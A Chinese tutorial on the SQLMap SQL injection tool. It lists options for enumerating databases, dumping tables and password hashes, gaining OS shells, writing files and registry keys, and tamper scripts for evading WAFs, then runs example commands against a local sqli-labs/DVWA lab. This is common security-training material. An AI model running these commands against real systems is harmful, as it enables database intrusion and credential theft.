1.SQLMap简介
SQLMap是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定的URL的SQL注入漏洞,内置了很多绕过插件,是一款自动进行SQL注入的非常好用的工具。
2.SQLMap支持的数据库
MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等数据库。
3.SQLMap采用的注入技术
- 基于布尔类型的盲注,即可以根据返回页面判断条件的真假的注入。
- 基于时间的盲注,即不能根据页面返回内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面的返回时间是否增加)来判断。
- 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
- 联合查询注入,在可以使用Union的情况下的注入。
- 堆查询注入,可以同时执行多条语句的注入。
4.SQLMap的功能
SQLMap的功能不止可以进行SQL注入查询,还可以进行数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实施任意命令。
5.SQLMap使用等级
0----只显示python错误以及严重的信息。
1----同时显示基本信息和警告信息。(默认)
2----同时显示debug信息。
3----同时显示注入的payload。
4----同时显示HTTP请求。
5----同时显示HTTP响应头。
6----同时显示HTTP响应页面。
如果你想看到sqlmap发送的测试payload最好的等级就是3。
注意:SQLMap需要python环境,但是不支持python3,因此在物理机上安装SQLMap时需要注意python版本。
(1):在SQLMap中直接输入URL
参数:-u或–url
(2):测试文件中的URL
参数:-m
例如:sqlmap -m sql.txt
(3):从文件中加载HTTP请求
sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)
参数:-r
例如:sqlmap -r http.txt
(4):处理谷歌的搜索结果
参数:-g
注意,在谷歌里面怎么搜,在-g参数后面就怎么写
(1):请求方式
参数: --data=DATA
注意:默认是使用GET方式进行请求,可以使用- -data=POST方式进行POST请求
(2):指定cookie值
参数: --cookie=COOKIE
(3):指定User-Agent头
参数: --random-agent=User-Agent
(4):指定代理
参数: --proxy=PROXY
(5):使用匿名网络
参数: --tor=TOR
参数: --check-tor=CHECK-TOR
(6):指定header头
参数: --headers=HEADERS
(7):请求延时
参数: --delay=DELAY
(8):设定超时时间
参数: --timeout=TIMEOUT
默认是30s
(9):设置重试次数
参数: --retries=RETRIES
默认是3次
(10):HTTPS请求
参数: --force-ssl
或者是在HOST头后面加上:443
(1):设置要测试的点
参数: -p=P
(2):设置不要测试的点
参数: --skip=SKIP
对于有些高等级的测试,如果不需要对其中默认的参数进行测试的话,可以使用–skip参数跳过某些参数
(3):指定数据库
参数: --dbms=DBMS
如果在明确数据库类型的时候,可以指定数据库类型来节省时间
(4):指定操作系统
参数: --os=OS
支持的操作系统有Windows和Linux
(1):设置探测等级
参数: --level=LEVEL
参数等级为1-5,默认等级为1
(2):设置测试的风险等级
参数: --risk=RISK
参数等级为1-3,默认等级为1
(3):观察数据
参数:-v
一共有七个等级
- -v 0:只显示python错误以及严重的信息
- -v 1:同时显示基本信息和警告信息(默认)
- -v 2:同时显示debug信息
- -v 3:同时显示注入的payload
- -v 4:同时显示HTTP请求
- -v 5:同时显示HTTP请求
- -v 6:同时显示HTTP响应页面
一般最常用的测试payload最好的等级是3
(1):设置探测的方法
参数: --technique=TECHNIQUE
支持的探测方法如下:
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
(2):设定延迟注入的时间
参数: --time-sec=TIME_SEC
当使用基于时间的盲注时,时刻使用–time-sec参数设定延时时间,默认是5秒
(3):设置Union查询的字段数
参数: --union-cols
默认情况下sqlmap测试UNION查询注入会测试1-10个字段数,当–level为5的时候他会增加测试到50个字段数。设定–union-cols的值应该是一段整数, 比如10-12,是测试10-12个字段数。
(4):设定Union查询使用的字符
参数: --union-char
默认情况下sqlmap针对UNION查询的注入会使用NULL字符,但是有些情况下会造成页面返回失败,而一个随机整数是成功的,这是你可以用–union-char指定Union查询的字符。
(5):进行二次注入
**参数: --second-order
有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。 --second-order后门跟一个判断页面的URL地址。
(1):查看banner信息
参数: -b或 - -banner
(2):查看当前用户
参数: --current-user
(3):查看当前数据库
参数: --current-db
(4):查看数据库当前用户密码
参数: --password
当得到hash值后会尝试取破解
(5):查看数据库管理员权限
参数: --privileges
当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,SQLMap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限
(6):查看数据库管理员角色
参数: --roles
当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的角色,也可以用-U参数指定你想看哪个用户的角色。
仅适用于当前数据库是Oracle的时候
(7):查看用户是否为管理员权限
参数: --is-dba
判断当前用户是否是管理员
(8):查看所有的数据库
参数: --dbs
当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库
(9):查看所有的表
参数: --tables
如果不使用-D来指定数据库的话,那么将查询出所有的表
(10):查看指定数据库的所有表
参数: -D 数据库名称 --tables
使用-D参数指定特定的数据库,然后查看该数据库下的所有表
(11):查看所有的列
参数: --colums
如果不指定数据库,那么将查询当前数据库的所有表的所有字段
(12):查看指定数据库的指定表的所有列
参数: -D 数据库名称 -T 表名 --cloumns
使用-D参数指定特定的数据库,使用-T参数指定特定的表,查询指定数据库的指定表的所有列
(13):查看数据库的架构
参数: --schema
使用该参数可以查看数据库的架构,包括数据库的库名、表名和字段名
(14):查看表中的数据的个数
参数: --count
使用 --count来查看表中的数据个数,如果使用-D指定数据库,则查询指定数据库的表中的数据个数;如果没有指定数据库,则查询所有数据库的表中数据的个数
(15):查看当前数据库中的所有表的数据
参数: --dump
使用 --dump来查看表中的数据,如果没有使用-D指定数据库,则默认查询当前的数据库的所有表的数据
(16):查看指定数据库的指定表的的指定字段的数据
参数:-D 数据库名称 -T 表名 -C 字段名(多个字段使用逗号分开) - -dump
使用-D指定特定的数据库,使用-T指定特定的表,使用-C指定特定的字段,那么将查询指定的数据库的指定表的指定字段的数据
1.不再进行人机交互
参数: --batch
使用 --batch参数,在需要输入Y或N的时候不再需要输入,采用默认的行为
2.刷新当前目标的会话文件
参数: --flush-session
使用 --flush-session参数来刷新当前目标的会话文件
1.运行任意操作系统命令
参数: --os-shell或–os-cmd
2.提示为OOB外壳,Meterpreter或VNC
参数: --os-pwn
3.运行自定义的SQL语句
参数: --sql-shell
4.从数据库服务器中读取文件
参数: --file-read
5.上传文件到数据库服务器
参数: --file-write或 --file-dest
1.暴力跑表名
参数: --common-tables
当使用–tables无法获取到数据库的表时,可以使用此参数
通常是如下情况:
1、MySQL数据库版本小于5.0,没有information_schema表。
2、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。
3、当前用户没有权限读取系统中保存数据结构的表的权限。
暴力破解的表在txt/common-tables.txt文件中,你可以自己添加
2.暴力跑列名
参数: --common-columns
1.读取注册表值
参数: --reg-read
2.写入注册表值
参数: --reg-add
3.删除注册表值
参数: --reg-del
4.注册表辅助项
参数: --reg-key, --reg-value, --reg-data, --reg-type
注意:这些参数需要配合前面三个参数一块使用
1.绕过常见的waf
参数: --tamper
使用方法:sqlmap -u xxxxx --tamper "模块名"
2.常用的tamper脚本
- 将引号替换成UTF-8,用于过滤单引号
apostrophemask.py
-将字符替换为base64编码
base64encode.py- 围绕SQL关键字添加多个空格
multiplespaces.py- 使用+号替换空格
space2plus.py- 使用双重查询语句,用双重语句替代预定义的SQL关键字(适用于非常弱的自定义过滤器)
nonrecursivereplacement.py- 将空格替换成其他有效字符
space2randomblank.py- 将UNION ALL SELECT替换成UNION SELECT
unionalltounion.py- 追加特制的字符串
securesphere.py- 将空格替换成#号,并添加一个随机字符串和换行符
space2hash.py- 将空格替换成其他字符号
space2mssqlblank.py(mssql)- 将空格替换成#号,并添加一个换行符
space2mssqlhash.py- 用NOT BETWEEN 0 AND替换大于号(>),用BETWEEN AND替换等号(=)
between.py- ASP允许在每个字符前面加一个%号
percentage.py- 从DBMS日志的自动模糊处理的有效载荷中追加sp_password
sp_password.py- 对指定的Payload全部字符使用URL编码(不处理已经编码的字符)
charencode.py- 随机大小写
randomcase.py- 字符串使用unicode编码
charunicodeencode.py- 将空格替换为/**/
space2comment.py- 将等号替换为like
equaltolike.py- 绕过对">"的过滤,使用GREATEST替换大于号
greatest.py- 绕过对IFNULL的过滤,替换类似IFNULL(A,B)为IF(ISNULL(A),B,A)
**ifnull2ifisnull.py- 过滤空格,使用MySQL内联注释的方式进行注入
modsecurityversioned.py- 将空格替换成其他空白符和(适用于MySQL)
space2mysqlblank.py- 使用MySQL内联注释的方式
modsecurityzeroversioned.py- 使用空格替换为–,并添加一个换行符
space2mysqldash.py- 在SQL语句之后用有效的随机空白符替换空格符,随后使用LIKE替换等于号
bluecoat.py- 注释绕过
versionedkeywords.py- 当数据库为MySQL时绕过防火墙,在每个关键字之前添加MySQL版本注释
halfversionedmorekeywords.py- 将空格替换为#号,并添加一个随机字符串和换行符
spacemorehash.py- 使用非法双字节unicode字符串替换单引号
apostrophenullencode.py- 在有效负荷的结束位置加载零字节字符编码
appendnullbyte.py- 对给定的Payload全部字符使用双重URL编码(不处理已经编码的字符)
chardoubleencode.py- 用一个多字节组合(%bf%27)和末尾通用注释一起替换空格
unmagicquotes.py- 使用/**/分隔SQL关键字
randomcomments.py
1.判断是否存在注入
sqlmap -u http://192.168.223.139/sqlilabs/Less-1/?id=1 --batch
得出后台数据库的类型,操作系统是Windows,并且使用的是Apache2.4.23,数据库版本大于5.0
2.查看当前数据库的库名
sqlmap -u http://192.168.223.139/sqlilabs/Less-1/?id=1 --current-db --batch
3.查看数据库的当前用户
sqlmap -u http://192.168.223.139/sqlilabs/Less-1/?id=1 --current-user --batch
4.查看所有的数据库
sqlmap -u http://192.168.223.139/sqlilabs/Less-1/?id=1 --dbs --batch
5.查看所有的表
sqlmap -u http://192.168.223.139/sqlilabs/Less-1/?id=1 --tables
6.查看所有的字段
sqlmap -u http://192.168.223.139/sqlilabs/Less-1/?id=1 --columns
7.查看所有表中的字段
sqlmap -u http://192.168.223.139/sqlilabs/Less-1/?id=1 --dump
8.查看dvwa数据库中的表
sqlmap -u http://192.168.223.139/sqlilabs/Less-1/?id=1 -D dvwa --tables
9.查看dvwa数据库的users表的字段
sqlmap -u http://192.168.223.139/sqlilabs/Less-1/?id=1 -D dvwa -T users --columns
10.查看dvwa数据库的users表中每个字段对应的值
sqlmap -u http://192.168.223.139/sqlilabs/Less-1/?id=1 -D dvwa -T users -C user,password --dump --batch
11.查看当前用户是否是管理权限
sqlmap -u http://192.168.223.139/sqlilabs/Less-1/?id=1 --is-dba
12.查看数据库管理员角色
sqlmap -u http://192.168.223.139/sqlilabs/Less-1/?id=1 --roles